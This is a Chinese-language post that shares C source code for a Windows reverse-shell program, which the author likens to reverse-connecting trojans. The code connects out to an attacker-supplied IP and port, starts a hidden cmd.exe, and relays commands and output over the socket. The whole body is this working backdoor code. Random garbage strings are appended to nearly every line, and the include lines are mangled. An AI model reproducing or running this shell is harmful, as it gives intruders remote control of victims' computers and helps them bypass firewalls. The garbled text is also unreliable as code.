这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6~>h;wC
a*&&6Fo
/* ============================== A|4
3W=
Rebound port in Windows NT #RyTa
/L
By wind,2006/7 {md5G$*%
===============================*/ \QG2V$
#include .h/2-pQ>
#include B+jh|@-
1fM`n5?"
#pragma comment(lib,"wsock32.lib") $Fi1Bv)
G pO*As_2
void OutputShell(); <gFisc/#r
SOCKET sClient; P;K3T![
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cdGBo4
$*:$-
void main(int argc,char **argv) I#]pk!
{ II=!E
WSADATA stWsaData; QX&Y6CC`]
int nRet; 2 p}I
SOCKADDR_IN stSaiClient,stSaiServer; Vo.~1^
z TPNQ0=|
if(argc != 3) C1l'<
{ c4Q9foE
printf("Useage:\n\rRebound DestIP DestPort\n"); MXDCOe~07
return; @)!N{x?
} 3xdJ<Lrq
M
'%zA;Wl
WSAStartup(MAKEWORD(2,2),&stWsaData); DvLwX1(l
1U^KN~!
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <$Sl%DoS
LylCr{s7
stSaiClient.sin_family = AF_INET; Jk7 Am-.0
stSaiClient.sin_port = htons(0); D6fd(=t1Z
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fz8 41 <Y
R>&8%%#
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @SaxM4
{ darbL_1
printf("Bind Socket Failed!\n"); oSjYp(h:
return; h qhX
} u]`0QxvZ
~J5B?@2hK
stSaiServer.sin_family = AF_INET; 3^$=XrD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g>gf-2%Uo
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m6}_kzFz
*WFd[cKE
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8TU(5:xJo
{ L8Z@Dk7Y
printf("Connect Error!"); Oz&*A/si+3
return; Mc(|+S@w'
} 3J/l>1[
OutputShell(); 6V@_?a-K
} zKaj<Og
Y}Dk>IG
void OutputShell() a"t~K
{ -yBj7F|
char szBuff[1024]; ,q7FK z{
SECURITY_ATTRIBUTES stSecurityAttributes; 7|_2@4-W6
OSVERSIONINFO stOsversionInfo; 28c6~*Te#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OA} r*Wz
STARTUPINFO stStartupInfo; 3)2{c
char *szShell; P&@,Z#\
PROCESS_INFORMATION stProcessInformation; kd]CV7(7
unsigned long lBytesRead; /EegP@[
Of$R+n.
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?2\oi*$
Tow! 5VAM
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QP%Hwt]+
stSecurityAttributes.lpSecurityDescriptor = 0; `
vFD O$K
stSecurityAttributes.bInheritHandle = TRUE; pjoyMHWK
E $W0HZ'
]:']
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y9LO;{(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q"DHMZB
WSv%Rxr8L
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V[WLS ?-)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =K|#5p`
stStartupInfo.wShowWindow = SW_HIDE; 2i
!\H$u`
stStartupInfo.hStdInput = hReadPipe; ,S<) )
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; I3'UrKKO
?UOaqcL
GetVersionEx(&stOsversionInfo); `_i|\}tl
qdmAkYUC
switch(stOsversionInfo.dwPlatformId) FUJ<gqL
{ ~3Zz.!F
case 1: 26 1? 8&c
szShell = "command.com"; 9k6/D.Dz
break; X Z3fWcw[
default: V}7)>i$A
szShell = "cmd.exe"; _Ex<VF u
break; 3;wiwN'
} cR,'aX
l?V#;
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #n15_cd
B.;@i;7L
send(sClient,szMsg,77,0); qN9 ?$\
while(1) "USzk7=&.
{ KsK]y,^Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jvD_{r
if(lBytesRead) `-R&4%t%
{ %|^,Q -i,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); I&gd"F _v}
send(sClient,szBuff,lBytesRead,0); 3/uvw>$
} h(J$-SUs
else |cp_V
{ 1^V.L+0s]
lBytesRead=recv(sClient,szBuff,1024,0); }|N88PN
if(lBytesRead<=0) break; yGrnzB6|
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i gjn9p&_
} m']$)Iqw
} BA@M>j6d
JKO*bbj
return; /0Qo(
}